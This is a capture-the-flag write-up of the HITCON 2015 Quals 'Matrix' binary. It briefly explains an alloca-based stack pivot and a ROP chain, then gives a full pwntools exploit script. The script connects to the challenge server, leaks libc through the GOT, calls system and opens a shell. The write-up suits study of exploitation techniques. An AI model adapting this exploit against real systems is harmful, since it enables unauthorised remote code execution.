HITCON 2015 Quals: Matrix

Reading time ~3 minutes

This challenge was solved by and the write up was written by one of my teammates, tukan.

The binary implements matrix multiplication.

By specifying a large matrix size, we can trigger an alloca with the size under our control.

Using this, it is possible to pivot the stack pointer to a higher address.

By properly aligning the stack, the scanf function will then eventually overwrite its own saved frame pointer with one of our matrix element input.

Upon returning from main, this gets into rsp.

We can use this to move the stack pointer into a user-buffer at a static location in .bss.

Once done, with some ROP we leak the address of puts from the GOT, calculate the address of system and spawn a shell.

High quality exploit follows:

from pwn import *
context.update(arch='amd64', os='linux')

def rop(*args):
    return struct.pack('Q' * len(args), *args)

# LIVE = False
LIVE = True

####### LOCAL #######
if not LIVE:
    fn = '/root/sf/hitcon/matrix/matrix-a0e5c5c0a8f05896a7f03d8ed4588027'
    env = os.environ.copy()
    env['LD_PRELOAD'] = '/tools/preeny/x86_64-linux-gnu/dealarm.so:/media/sf_shared/hitcon/matrix/libc-3f6aaa980b58f7c7590dee12d731e099.so.6'
    r = process(fn, env=env)
    print r.proc.pid
    time.sleep(0.8)

####### REMOTE #######
if LIVE:
    r = remote('52.68.53.28', 31337)

num = 0xfffffffe
ret = 0x400e90
poprdiret = 0x0000000000400f03 # pop rdi ; ret
poprdxret = 0x0000000000400f28 # pop rdx ; ret
poprsipopret = 0x0000000000400f01 # pop rsi ; pop r15 ; ret
stdout = 0x0000000000602080
puts_plt = 0x0000000000400590
fflush_plt = 0x00000000004005F0
fflush_bin = 0x0000000000400E66
puts_got = 0x0000000000602018
read_plt = 0x00000000004005C0
rbp = 0x6022a8

print r.sendafter('name', p64(0)*65 + p64(0x602300-40) + p64(ret) + rop(
    poprdiret,
    puts_got,
    puts_plt,
    # poprdiret,
    # stdout,
    # fflush_plt,
    fflush_bin,
    0xabfaad,
    poprdxret,
    0x32,
    poprsipopret,
    rbp+128,
    0x41,
    poprdiret,
    0,
    read_plt,
    poprdiret,
    rbp+128,
    ret
))

print r.sendlineafter('matrix\n', str(num))

iternum = 128

for i in range(2):
    print r.sendlineafter('matrix : ', str(i))
print r.sendlineafter('matrix : ', str(rbp))

leak = r.recv(8)
print len(leak)
print repr(leak[:-1])
puts_libc = struct.unpack('Q', leak[:-1] + '\x00'*2)[0]
print hex(puts_libc)
system = puts_libc - 0x6fe30 + 0x46640
r.send(p64(rbp+128+16) + rop(system) + '/bin/bash')

print r.recvrepeat(0.5)

r.interactive()

GoogleCTF 2018 Quals: Web - BBS

Last weekend I played on the Google CTF 2018 Quals which was one of the best CTFs I played recently. They separated the easy challenges i...… Continue reading

0CTF 2017 Quals: Crypto challenges

Published on March 23, 2017

0CTF 2017 Quals: Choices (reverse, 297pts)

Published on March 23, 2017